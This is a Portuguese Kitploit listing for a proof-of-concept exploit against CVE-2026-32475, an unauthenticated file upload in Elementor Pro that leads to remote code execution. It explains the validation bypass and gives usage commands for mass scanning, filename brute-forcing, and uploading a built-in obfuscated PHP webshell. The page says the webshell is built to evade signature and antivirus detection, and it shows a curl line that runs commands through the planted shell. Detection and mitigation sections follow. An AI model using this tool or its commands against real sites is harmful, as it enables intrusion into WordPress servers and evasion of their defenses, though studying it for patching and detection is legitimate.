Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-32475 — Prova de conceito de exploit para CVE-2026-32475, um upload arbitrário de arquivos sem autenticação no Elementor Pro que leva à execução remota de código. Inclui varredura em massa, confirmação de nome de arquivo por força bruta e um webshell ofuscado integrado para testes autorizados. | Kitploit
Ferramentas/GitHubGitHub/4minx/cve-2026-32475
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHub4minx/cve-2026-32475

CVE-2026-32475

Ver Repositório
1415há 20 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

Prova de conceito de exploit para CVE-2026-32475, um upload arbitrário de arquivos sem autenticação no Elementor Pro que leva à execução remota de código. Inclui varredura em massa, confirmação de nome de arquivo por força bruta e um webshell ofuscado integrado para testes autorizados.

Compartilhar

CVE-2026-32475 PoC: Upload Arbitrário de Arquivo Não Autenticado para RCE no Elementor Pro

Upload Arbitrário de Arquivo Pré-Autenticação no Elementor Pro Levando à Execução Remota de Código

Prova de conceito para CVE-2026-32475, uma vulnerabilidade crítica de upload arbitrário de arquivo não autenticado no módulo Forms do Elementor Pro que resulta em execução remota de código. O PoC envia duas partes de arquivo para o mesmo campo de upload — uma primeira entrada vazia (nome de arquivo em branco, acionando UPLOAD_ERR_NO_FILE) seguida pelo payload. O loop validation() sai antecipadamente na entrada vazia via return, enquanto process_field() a ignora via continue, então o payload nunca passa pela verificação de extensão e é armazenado em um diretório público com extensão .php. PoCs que testam o comportamento corrigido — a mesma requisição após o patch — devem ser bloqueados pela verificação de extensão.

Nota: Este PoC é apenas para testes de segurança autorizados e pesquisa. CVE-2026-32475 está sendo ativamente explorada no mundo real, e a Wordfence bloqueou mais de 190.000 tentativas desde a divulgação em 19 de agosto. Você é responsável por cumprir todas as leis aplicáveis e obter autorização por escrito antes de testar qualquer sistema.


Informações da Vulnerabilidade

  • CVE: CVE-2026-32475
  • Tipo: CWE-434 Upload Irrestrito de Arquivo com Tipo Perigoso
  • CVSS 3.1: 9.0 (Crítica, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • Autenticação: Não autenticado (pré-auth, remoto, baixa complexidade de ataque)
  • Exploração ativa: Sim (armamento no mesmo dia; mais de 190.000 tentativas bloqueadas de 19 a 23 de agosto)
  • Software afetado: Elementor Pro (plugin WordPress comercial), versões <= 4.2.1
  • Corrigido em: 4.2.2 (lançado em 19 de agosto de 2026)
  • Reportado por: Tin Pham (TF1T) via Patchstack; Austin Ginder via Wordfence (recompensa de $15.600)
  • Divulgação: 19 de agosto de 2026

Requisitos

  • Python 3.8+ com a biblioteca requests
  • Alvo: um site WordPress com Elementor Pro <= 4.2.1 e um formulário publicado contendo um campo de Upload de Arquivo

Instale as dependências:

root@kitploit:~
pip install requests

Uso

Alvo Único

root@kitploit:~
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6

Confirmar Execução (força bruta no nome de arquivo uniqid())

root@kitploit:~
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --brute --seconds-window 3

Enviar o WebShell Ofuscado Integrado

root@kitploit:~
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --shell --brute

--shell envia um webshell PHP ofuscado mínimo (palavras-chave construídas em tempo de execução via chr()/implode/strrev, parâmetro de comando vapcom) para que assinaturas estáticas simples e varreduras AV em tempo real no disco não o sinalizem. O nome de arquivo armazenado ainda é aleatório (<uniqid()>.php); combine com --brute, que testa ?vapcom=echo <marker> e reporta exec confirmed: <name>.php. Uso manual após localização:

root@kitploit:~
curl "http://TARGET/wp-content/uploads/elementor/forms/<uniqid>.php?vapcom=id"

Varredura em Massa

root@kitploit:~
python cve-2026-32475-poc.py -T targets.txt -o results.csv

Payload Personalizado

root@kitploit:~
python cve-2026-32475-poc.py -t http://target/page-with-form/ --payload ./lab-shell.php

Opções

ArgumentoDescriçãoPadrão
-t, --targetURL do alvo único-
-T, --targetsArquivo com URLs de alvos, um por linha-
-o, --outputArquivo de resultados (CSV: target, status, form_id, post_id, field, note)-
--timeoutTempo limite de requisição em segundos15
--post-idSubstituir post_id detectadoauto
--form-idSubstituir form_id detectado (id do widget Elementor)auto
--fieldSubstituir custom_id do campo de upload detectadoauto
--payloadCaminho para um arquivo de payload personalizado (padrão: arquivo de token PHP benigno)token benigno
--shellEnviar o webshell PHP ofuscado integrado (<?php ... system($_GET) ?> construído em tempo de execução, parâmetro vapcom) em vez do tokendesativado
--bruteApós um upload bem-sucedido, forçar o nome de arquivo uniqid() para confirmar a execução de códigodesativado
--seconds-windowSegundos antes/depois do cabeçalho Date do servidor para força bruta5

Exemplo de Saída

root@kitploit:~
[*] Probing http://localhost/wplab/?page_id=6 ...
[+] Form found: post_id=6 form_id=a1b2c3d4 field=upload_file
[*] AJAX -> HTTP 200
[*] result: vulnerable - upload accepted
    response    : {"success":true,"data":{"message":"Your submission was successful.","data":[]}}
    uploaded to : /wp-content/uploads/elementor/forms/<uniqid>.php
[+] CONFIRMED EXECUTION: 6a9bb5d70fba6.php -> 'POC3f9a2c...'

[*] done: 1/1 vulnerable

Um success:true na resposta AJAX significa que o payload foi aceito sem passar pela verificação de extensão. O passo 4 com --brute (um 200 no arquivo .php adivinhado contendo o marcador) confirma a execução de PHP no servidor — ou seja, RCE completo.

Status de resultados: vulnerable | patched | unknown | error

  • vulnerable — o servidor web retornou "success":true; o payload ignorou a verificação de extensão
  • patched — o upload foi rejeitado com erro de tipo de arquivo (a verificação de extensão foi executada)
  • unknown — HTTP teve sucesso, mas a resposta não foi success:true (IDs incorretos ou estado inesperado)
  • error — falha de requisição/parse (timeout, não-200, formulário não encontrado)

Comportamento do Payload e Notas sobre o WebShell

  • O nome de arquivo armazenado é sempre <uniqid()>.<extensão_do_atacante> — o nome base enviado é descartado, então truques de dupla extensão/byte nulo são irrelevantes; apenas a verificação de extensão importa, e é ela que falha.
  • O Elementor inclui um .htaccess em wp-content/uploads/elementor/forms/ que define Content-Disposition: attachment em todos os arquivos. Isso não impede a execução — o PHP ainda é executado no servidor e a resposta baixada é a saída executada. Para renderizar um shell no navegador em um laboratório, desative esse .htaccess; no mundo real, trate-o apenas como cosmético e dependa do bloqueio de PHP no nível do servidor.
  • uniqid() = sprintf("%08x%05x", uint32(tv_sec), tv_usec), então o nome é derivado do tempo (segundos Unix, 32 bits baixos, + microssegundos). O passo de força bruta delimita o segundo observado no cabeçalho Date da resposta de envio e, para arquivos .php, solicita ?vapcom=echo <marker> (ou ?c= para o arquivo de token/--payload) para que uma resposta contendo o marcador seja execução real de PHP no servidor, não apenas leitura de arquivo. O pior caso é ~1 milhão de tentativas de microssegundos por segundo, então ajuste --seconds-window para manter as execuções curtas.

Detectando / Verificando um Comprometimento

root@kitploit:~
# Arquivos PHP que não deveriam existir no diretório de uploads
find wp-content/uploads/elementor/forms/ -type f -name "*.php*"
  • Trate qualquer arquivo .php/.phtml/.phar/.hta sob o diretório de formulários como evidência de comprometimento.
  • Procure nos logs de acesso por GET sob /wp-content/uploads/elementor/forms/ e POST contendo elementor_pro_forms_send_form.
  • Se um shell foi executado, procure por administradores rogue, mu-plugins, arquivos de núcleo/tema modificados e eventos inesperados de WP-Cron; prefira restaurar um backup íntegro conhecido em vez de limpar no local.

Mitigações

  • Atualize para o Elementor Pro 4.2.2 ou mais recente. As atualizações do Elementor Pro são entregues pelo próprio serviço da Elementor — uma licença vencida não oferecerá a atualização.
  • Se não puder aplicar o patch imediatamente, bloqueie a execução de PHP dentro do diretório de uploads na camada do servidor web (regra location do nginx ou <FilesMatch> do Apache). Esta é a correção durável e degrada esta e futuras vulnerabilidades de upload para "desperdício de disco".
  • Enumere formulários publicados; restrinja os tipos de arquivo aceitos; remova campos de upload não utilizados.
  • Após a atualização: verifique o diretório de uploads, revise contas de administrador e audite logs para a ação elementor_pro_forms_send_form.

Referências

  • Patchstack — Vulnerabilidade Crítica de Upload de Arquivo Não Autenticado para RCE no Elementor Pro
  • Wordfence — Atacantes Explorando Ativamente Vulnerabilidade Crítica no Elementor Pro
  • MagicWP — CVE-2026-32475: Upload Arbitrário de Arquivo no Elementor Pro
  • NVD — CVE-2026-32475
  • dev.to — Exploração Ativa de WebShell PHP via Bypass de Validação de Array
  • deniz.in — RCE no Elementor Pro: uploads de arquivo não validados corrigidos na versão 4.2.2
Baixar ferramenta